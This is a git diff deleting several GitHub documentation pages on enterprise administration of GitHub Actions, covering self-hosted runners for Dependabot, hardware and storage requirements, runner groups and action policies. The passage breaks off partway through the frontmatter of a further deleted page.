b/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md deleted file mode 100644 index e2f66b18aaa5..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Managing self-hosted runners for Dependabot updates on your enterprise -intro: 'You can create dedicated runners for {% data variables.location.product_location %} that {% data variables.product.prodname_dependabot %} uses to create pull requests to help secure and maintain the dependencies used in repositories on your enterprise.' -redirect_from: - - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates - - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/managing-self-hosted-runners-for-dependabot-updates -allowTitleToDifferFromFilename: true -versions: - ghes: '*' -topics: - - Enterprise - - Security - - Dependabot - - Dependencies -shortTitle: Dependabot updates ---- - -## About self-hosted runners for {% data variables.product.prodname_dependabot_updates %} - -You can help users of {% data variables.location.product_location %} to create and maintain secure code by setting up {% data variables.product.prodname_dependabot %} security and version updates. With {% data variables.product.prodname_dependabot_updates %}, developers can configure repositories so that their dependencies are updated and kept secure automatically. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). - -To use {% data variables.product.prodname_dependabot_updates %} on {% data variables.location.product_location %}, you must configure self-hosted runners to create the pull requests that will update dependencies. - -## Prerequisites - -Configuring self-hosted runners is only one step in the middle of the process for enabling {% data variables.product.prodname_dependabot_updates %}. There are several steps you must follow before these steps, including configuring {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %} with self-hosted runners. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). - -## Configuring self-hosted runners for {% data variables.product.prodname_dependabot_updates %} - -### System requirements for {% data variables.product.prodname_dependabot %} runners - -{% data reusables.dependabot.dependabot-runners-system-requirements %} - -{% data reusables.dependabot.vnet-arc-note %} - -### Network requirements for {% data variables.product.prodname_dependabot %} runners - -{% data reusables.dependabot.dependabot-runners-network-requirements %} - -### Certificate configuration for {% data variables.product.prodname_dependabot %} runners - -If your {% data variables.product.prodname_ghe_server %} instance uses a self-signed certificate, or if {% data variables.product.prodname_dependabot %} needs to interact with registries that use self-signed certificates, those certificates must also be installed on the self-hosted runners that run {% data variables.product.prodname_dependabot %} jobs. This security hardens the connection. You must also configure Node.js to use the certificate, because most actions are written in JavaScript and run using Node.js, which does not use the operating system certificate store. - -### Adding self-hosted runners for {% data variables.product.prodname_dependabot %} updates - -1. Provision self-hosted runners, at the repository, organization, or enterprise account level. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -1. Set up the self-hosted runners with the requirements described above. For example, on a VM running Ubuntu 20.04 you would: - * Install Docker and ensure that the runner users have access to Docker. For more information, see the Docker documentation. - * [Install Docker Engine on Ubuntu](https://docs.docker.com/engine/install/ubuntu/) - * Recommended approach: [Run the Docker daemon as a non-root user (Rootless mode)](https://docs.docker.com/engine/security/rootless/) - * Alternative approach: [Manage Docker as a non-root user](https://docs.docker.com/engine/install/linux-postinstall/#manage-docker-as-a-non-root-user) - * Verify that the runners have access to the public internet and can only access the internal networks that {% data variables.product.prodname_dependabot %} needs. - * Install any self-signed certificates for your {% data variables.product.prodname_ghe_server %} instance or for registries that {% data variables.product.prodname_dependabot %} will need to interact with. - * Configure Node.js to use the same certificate. For more information, see [AUTOTITLE](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#configuring-nodejs-to-use-the-certificate). - -1. Assign a `dependabot` label to each runner you want {% data variables.product.prodname_dependabot %} to use. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners#assigning-a-label-to-a-self-hosted-runner). - -1. Optionally, enable workflows triggered by {% data variables.product.prodname_dependabot %} to use more than read-only permissions and to have access to any secrets that are normally available. For more information, see [AUTOTITLE](/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise#providing-workflows-triggered-by-dependabot-access-to-secrets-and-increased-permissions). diff --git a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md b/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md deleted file mode 100644 index 106f6d8555a6..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: About GitHub Actions for enterprises -shortTitle: About GitHub Actions -intro: '{% data variables.product.prodname_actions %} can improve developer productivity by automating your enterprise''s software development cycle.' -versions: - ghec: '*' - ghes: '*' -type: overview -topics: - - Actions - - Enterprise -redirect_from: - - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises ---- - - -## About {% data variables.product.prodname_actions %} for enterprises - -{% data reusables.actions.about-actions-for-enterprises %} - -| Task | More information | -| ---- | ---------------- | -| Automatically test and build your application | [AUTOTITLE](/actions/automating-builds-and-tests/about-continuous-integration) | -| Deploy your application | [AUTOTITLE](/actions/deployment/about-deployments/about-continuous-deployment) | -| Automatically and securely package code into artifacts and containers | [AUTOTITLE](/actions/publishing-packages/about-packaging-with-github-actions) | -| Automate your project management tasks | [AUTOTITLE](/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management) | - -{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, pull requests are typically merged faster, allowing teams to merge more pull requests per day. - -You can create your own unique automations, or you can use and adapt workflows from our ecosystem of over 10,000 actions built by industry leaders and the open source community. {% ifversion ghec %}For more information, see [AUTOTITLE](/actions/learn-github-actions/finding-and-customizing-actions).{% else %}You can restrict your developers to using actions that exist on {% data variables.location.product_location %}, or you can allow your developers to access actions on {% data variables.product.prodname_dotcom_the_website %}. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise).{% endif %} - -{% data variables.product.prodname_actions %} is developer friendly, because it's integrated directly into the familiar {% data variables.product.github %} experience. - -{% ifversion ghec %}You can enjoy the convenience of {% data variables.product.company_short %}-hosted runners, which are maintained and upgraded by {% data variables.product.company_short %}, or you{% else %}You{% endif %} can control your own private CI/CD infrastructure by using self-hosted runners. Self-hosted runners allow you to determine the exact environment and resources that complete your builds, testing, and deployments, without exposing your software development cycle to the internet. For more information, see {% ifversion ghec %}[AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners) and{% endif %} [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -{% data variables.product.prodname_actions %} provides greater control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets. If your workflows need to access resources from a cloud provider that supports OpenID Connect (OIDC), you can configure your workflows to authenticate directly to the cloud provider. OIDC provides security benefits such as eliminating the need to store credentials as long-lived secrets. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). - -{% data variables.product.prodname_actions %} also includes tools to govern your enterprise's software development cycle and meet compliance obligations. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). - -## About getting started with {% data variables.product.prodname_actions %} - -{% data reusables.actions.introducing-enterprise %} - -{% data reusables.actions.migrating-enterprise %} - -{% ifversion ghes %} -{% data reusables.actions.ghes-actions-not-enabled-by-default %} After you finish planning, you can follow the instructions for enabling {% data variables.product.prodname_actions %}. For example, you may need to upgrade the CPU and memory resources for {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server). - -{% else %} -After you finish planning, you can follow the instructions for getting started with {% data variables.product.prodname_actions %}. For more information, see {% ifversion ghec %}[AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud).{% endif %} -{% endif %} - -## Further reading - -* [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions){% ifversion ghec %} -* [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions){% endif %} diff --git a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md b/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md deleted file mode 100644 index 24d15ee7ef72..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Getting started with GitHub Actions for GitHub Enterprise Cloud -shortTitle: Get started -intro: 'Learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}.' -permissions: 'Enterprise owners can configure {% data variables.product.prodname_actions %}.{% ifversion custom-org-roles %}<br><br>Users with the "Manage organization Actions policies" permission manage all settings on the "Actions General" settings page, except for self-hosted runners settings.<br><br>Users with the "Manage organization runners and runner groups" permission can manage GitHub-hosted runners, self-hosted runners, and runner groups, and control where self-hosted runners can be created.{% endif %}' -versions: - ghec: '*' -type: how_to -topics: - - Actions - - Enterprise -redirect_from: - - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud ---- - -## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %} - -{% data variables.product.prodname_actions %} is enabled for your enterprise by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you can manage the policies that control how enterprise members use {% data variables.product.prodname_actions %} and optionally add self-hosted runners to run workflows. - -{% data reusables.actions.introducing-enterprise %} - -{% data reusables.actions.migrating-enterprise %} - -## Managing policies for {% data variables.product.prodname_actions %} - -You can use policies to control how enterprise members use {% data variables.product.prodname_actions %}. For example, you can restrict which actions are allowed and configure artifact and log retention. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). - -## Adding runners - -To run {% data variables.product.prodname_actions %} workflows, you need to use runners. {% data reusables.actions.about-runners %} If you use {% data variables.product.company_short %}-hosted runners, you will be billed based on consumption after exhausting the minutes included in your plan, whereas self-hosted runners are free. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -If you choose self-hosted runners, you can add runners at the enterprise, organization, or repository levels. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -{% ifversion custom-org-roles %} - -## Provisioning fine-grained permissions for {% data variables.product.prodname_actions %} - -Organization owners and users with the "Manage custom organization roles" permission can provision fine-grained permissions for users and teams in your organization. Provisioning fine-grained permissions for {% data variables.product.prodname_actions %} allows you to practice the principle of least privilege to secure settings in your {% data variables.product.prodname_actions %} CI/CD pipeline. - -{% data reusables.actions.org-roles-for-gh-actions %} - -For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-organization-roles). - -{% endif %} - -{% data reusables.actions.general-security-hardening %} diff --git a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md deleted file mode 100644 index bf2b55ac9350..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: Getting started with GitHub Actions for GitHub Enterprise Server -shortTitle: Get started -intro: 'Learn about enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} for the first time.' -permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' -redirect_from: - - /enterprise/admin/github-actions/enabling-github-actions-and-configuring-storage - - /admin/github-actions/enabling-github-actions-and-configuring-storage - - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server - - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server - - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server -versions: - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise ---- - - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} - -This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. - -{% data reusables.actions.ghes-actions-not-enabled-by-default %} You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts and caches generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows. - -{% data reusables.actions.introducing-enterprise %} - -{% data reusables.actions.migrating-enterprise %} - -## Review hardware requirements - -The CPU and memory resources available to {% data variables.location.product_location %} determine the number of runners that can be configured without performance loss. {% data reusables.actions.minimum-hardware %} - -The peak quantity of connected runners without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated performance targets for GitHub Enterprise Server on a range of CPU and memory configurations. - -| vCPUs | Memory | Maximum Connected Runners | -| :---| :--- | :--- | -| 8 | 64 GB | 740 runners | -| 32 | 160 GB | 2700 runners | -| 96 | 384 GB | 7000 runners | - -{% data variables.product.company_short %} measured maximum connected runners using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. - -> [!NOTE] -> * Beginning with {% data variables.product.prodname_ghe_server %} 3.6, {% data variables.product.company_short %} documents connected runners as opposed to concurrent jobs. Connected runners represents the most runners you can connect and expect to utilize. It should also be noted that connecting more runners than you can expect to utilize can negatively impact performance. -> * Beginning with {% data variables.product.prodname_ghe_server %} 3.5, {% data variables.product.company_short %}'s internal testing uses 3rd generation CPUs to better reflect a typical customer configuration. This change in CPU represents a small portion of the changes to performance targets in this version of {% data variables.product.prodname_ghe_server %}. - -If you plan to enable {% data variables.product.prodname_actions %} for the users of an existing instance, review the levels of activity for users and automations on the instance and ensure that you have provisioned adequate CPU and memory for your users. For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/enterprise-management/monitoring-your-appliance). - -For more information about minimum hardware requirements for {% data variables.location.product_location %}, see the hardware considerations for your instance's platform. - -* [AWS](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws#hardware-considerations) -* [Azure](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure#hardware-considerations) -* [Google Cloud Platform](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform#hardware-considerations) -* [Hyper-V](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v#hardware-considerations) -* [OpenStack KVM](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm#hardware-considerations) -* [VMware](/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware#hardware-considerations) - -{% data reusables.enterprise_installation.about-adjusting-resources %} - -Optionally, you can limit resource consumption on {% data variables.location.product_location %} by configuring a rate limit for {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-rate-limits-for-github-actions). - -## External storage requirements - -To enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, you must have access to external blob storage. - -{% data reusables.actions.enterprise-storage-contents %} The amount of storage required depends on your usage of {% data variables.product.prodname_actions %}. Only a single external storage configuration is supported, and you can't use multiple storage providers at the same time. - -All other {% data variables.product.prodname_actions %} data, such as the workflow files in a repository's file structure, are stored on the data storage volume for {% data variables.location.product_location %}. - -{% data variables.product.prodname_actions %} supports these storage providers: - -* Azure Blob storage -* Amazon S3 -* Google Cloud Storage -* S3-compatible MinIO cluster - -> [!NOTE] -> These are the only storage providers that {% data variables.product.company_short %} supports and can provide assistance with. -> -> {% data reusables.actions.enterprise-s3-tech-partners %} - -## Networking considerations - -{% data reusables.actions.proxy-considerations %} For more information about using a proxy with {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server). - -## Enabling {% data variables.product.prodname_actions %} with your storage provider - -Follow one of the procedures below to enable {% data variables.product.prodname_actions %} with your chosen storage provider: - -* [Enabling GitHub Actions with Azure Blob storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage) -* [Enabling GitHub Actions with Amazon S3 storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage) -* [Enabling GitHub Actions with Google Cloud Storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage) -* [Enabling GitHub Actions with MinIO storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage) - -## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise - -You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). - -## Adding self-hosted runners - -{% data reusables.actions.enterprise-github-hosted-runners %} - -To run {% data variables.product.prodname_actions %} workflows, you need to add self-hosted runners. You can add self-hosted runners at the enterprise, organization, or repository levels. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -## Managing which actions can be used in your enterprise - -You can control which actions your users are allowed to use in your enterprise. This includes setting up {% data variables.product.prodname_github_connect %} for automatic access to actions from {% data variables.product.prodname_dotcom_the_website %}, or manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}. - -For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise). - -{% data reusables.actions.general-security-hardening %} - -## Reserved names - -When you enable {% data variables.product.prodname_actions %} for your enterprise, two organizations are created: `github` and `actions`. If your enterprise already uses the `github` organization name, `github-org` (or `github-github-org` if `github-org` is also in use) will be used instead. If your enterprise already uses the `actions` organization name, `github-actions` (or `github-actions-org` if `github-actions` is also in use) will be used instead. Once actions is enabled, you won't be able to use these names anymore. diff --git a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md b/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md deleted file mode 100644 index a6607075c18e..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Getting started with self-hosted runners for your enterprise -shortTitle: Self-hosted runners -intro: 'You can configure a runner machine for your enterprise so your developers can start automating workflows with {% data variables.product.prodname_actions %}.' -versions: - ghec: '*' - ghes: '*' -permissions: 'Enterprise owners{% ifversion custom-org-roles %} and users with permissions{% endif %} can configure policies for {% data variables.product.prodname_actions %} and add self-hosted runners to the enterprise.' -type: quick_start -topics: - - Actions - - Enterprise - - Fundamentals -redirect_from: - - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise ---- - -## About self-hosted runners for {% data variables.product.prodname_actions %} - -{% data reusables.actions.about-actions-for-enterprises %} For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises). - -With {% data variables.product.prodname_actions %}, developers can write and combine individual tasks called actions to create custom workflows. {% ifversion ghes %}To enable {% data variables.product.prodname_actions %} for {% ifversion ghes %} {% data variables.location.product_location %}{% endif %}, you must host at least one machine to execute jobs.{% endif %} {% ifversion ghec %}You can host your own runner machine to execute jobs, and this{% elsif ghes %}This{% endif %} machine is called a self-hosted runner. {% data reusables.actions.self-hosted-runner-locations %} {% data reusables.actions.self-hosted-runner-architecture %} {% ifversion ghec %}All{% elsif ghes %}Self-hosted{% endif %} runners can run Linux, Windows, or macOS. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -{% ifversion ghec %} - -Alternatively, you can use runner machines that {% data variables.product.company_short %} hosts. {% data variables.product.company_short %}-hosted runners are outside the scope of this guide. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). - -{% endif %} - -This guide shows you how to apply a centralized management approach to self-hosted runners for {% data variables.product.prodname_actions %} in your enterprise. In the guide, you'll complete the following tasks. - -1. Configure a limited policy to restrict the actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} that can run within your enterprise -1. Deploy a self-hosted runner for your enterprise -1. Create a group to manage access to the runners available to your enterprise -1. Optionally, further restrict the repositories that can use the runner -1. Optionally, to build and scale self-hosted runners automatically, use {% data variables.product.prodname_actions_runner_controller %} (ARC). For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller). - -You'll also find additional information about how to monitor and secure your self-hosted runners,{% ifversion ghes %} how to access actions from {% data variables.product.prodname_dotcom_the_website %},{% endif %} and how to customize the software on your runner machines. - -After you finish the guide, {% ifversion ghec %}members of your enterprise{% elsif ghes %}users of {% data variables.location.product_location %}{% endif %} will be able to run workflow jobs from {% data variables.product.prodname_actions %} on a self-hosted runner machine. - -## Prerequisites - -{% data reusables.actions.self-hosted-runners-prerequisites %} - -* Your enterprise must own at least one organization. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations) and [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). - -## 1. Configure policies for {% data variables.product.prodname_actions %} - -First, enable {% data variables.product.prodname_actions %} for all organizations, and configure a policy to restrict the actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} that can run {% ifversion ghec %}within your enterprise{% elsif ghes %}on {% data variables.location.product_location %}{% endif %}. Optionally, organization owners can further restrict these policies for each organization. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. Under "Policies", select **Enable for all organizations**. -1. To enable local actions{% ifversion actions-workflow-policy %} and reusable workflows, {% endif %} and actions created by {% data variables.product.company_short %}, select {% data reusables.actions.policy-label-for-select-actions-workflows %}, then select **Allow actions created by {% data variables.product.company_short %}**. -1. Click **Save**. - -You can configure additional policies to restrict the actions available to {% ifversion ghec %}enterprise members{% elsif ghes %}users of {% data variables.location.product_location %}{% endif %}. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#allowing-select-actions-to-run). - -## 2. Deploy the self-hosted runner for your enterprise - -Next, add a self-hosted runner to your enterprise. {% data variables.product.github %} will guide you through installation of the necessary software on the runner machine. After you deploy the runner, you can verify connectivity between the runner machine and {% ifversion ghec %}your enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. - -### Adding the self-hosted runner - -{% data reusables.actions.self-hosted-runner-add-to-enterprise %} - -{% data reusables.actions.self-hosted-runner-check-installation-success %} - -## 3. Manage access to the self-hosted runner using a group - -You can create a runner group to manage access to the runner that you added to your enterprise. You'll use the group to choose which organizations can execute jobs from {% data variables.product.prodname_actions %} on the runner. - -{% data variables.product.github %} adds all new runners to a group. Runners can be in one group at a time. By default, {% data variables.product.github %} adds new runners to the "Default" group. - -{% data reusables.actions.runner-groups-add-to-enterprise-first-steps %} -1. To choose a policy for organization access, under "Organization access", select the **Organization access** drop-down, and click **Selected organizations**. -1. To the right of the drop-down with the organization access policy, click {% octicon "gear" aria-label="Configure organizations" %}. -1. Select the organizations you'd like to grant access to the runner group. -1. Optionally, to allow public repositories in the selected organizations to use runners in the group, select **Allow public repositories**. - - > [!WARNING] - > {% data reusables.actions.self-hosted-runner-security %} - > - > For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories). - -{% data reusables.actions.create-runner-group %} -1. Click the "Runners" tab. -1. In the list of runners, click the runner that you deployed in the previous section. -1. Click **Edit**. -1. Click **Runner groups {% octicon "gear" aria-hidden="true" %}**. -1. In the list of runner groups, click the name of the group that you previously created. -1. Click **Save** to move the runner to the group. - -You've now deployed a self-hosted runner that can run jobs from {% data variables.product.prodname_actions %} within the organizations that you specified. - -## 4. Further restrict access to the self-hosted runner - -Optionally, organization owners{% ifversion custom-org-roles %} and users with the "Manage organization runners and runner groups" permission{% endif %} can further restrict the access policy of the runner group that you created. For example, an organization owner could allow only certain repositories in the organization to use the runner group. - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group). - -{% ifversion custom-org-roles %}For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %} - -## 5. Automatically scale your self-hosted runners - -Optionally, you can use {% data variables.product.prodname_actions_runner_controller %} (ARC) to automatically scale self-hosted runners. {% data reusables.actions.actions-runner-controller-about-arc %} - -## Next steps - -* You can monitor self-hosted runners and troubleshoot common issues. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners). - -* {% data variables.product.company_short %} recommends that you review security considerations for self-hosted runner machines. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners). - -* {% ifversion ghec %}If you use {% data variables.product.prodname_ghe_server %}, you{% elsif ghes %}You{% endif %} can manually sync repositories on {% data variables.product.prodname_dotcom_the_website %} containing actions to your enterprise on {% data variables.product.prodname_ghe_server %}. Alternatively, you can allow members of your enterprise to automatically access actions from {% data variables.product.prodname_dotcom_the_website %} by using {% data variables.product.prodname_github_connect %}. For more information, see the following. - - * [AUTOTITLE]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom){% ifversion ghec %} in the {% data variables.product.prodname_ghe_server %} documentation{% endif %} - * [AUTOTITLE]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect){% ifversion ghec %} in the {% data variables.product.prodname_ghe_server %} documentation{% endif %} - -* You can customize the software available on your self-hosted runner machines, or configure your runners to run software similar to {% data variables.product.company_short %}-hosted runners{% ifversion ghes %} available for customers using {% data variables.product.prodname_dotcom_the_website %}{% endif %}. The software that powers runner machines for {% data variables.product.prodname_actions %} is open source. For more information, see the [`actions/runner`](https://github.com/actions/runner) and [`actions/runner-images`](https://github.com/actions/runner-images) repositories. - -## Further reading - -* [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service) -* [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow) diff --git a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/index.md b/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/index.md deleted file mode 100644 index a53d735eac7d..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Getting started with GitHub Actions for your enterprise -intro: 'Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise.' -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise - - Actions -children: - - /about-github-actions-for-enterprises - - /introducing-github-actions-to-your-enterprise - - /migrating-your-enterprise-to-github-actions - - /getting-started-with-github-actions-for-github-enterprise-cloud - - /getting-started-with-github-actions-for-github-enterprise-server - - /getting-started-with-self-hosted-runners-for-your-enterprise -shortTitle: Get started -redirect_from: - - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise ---- - diff --git a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md deleted file mode 100644 index c9a4a4588297..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Introducing GitHub Actions to your enterprise -shortTitle: Introduce Actions -intro: 'You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise.' -versions: - ghec: '*' - 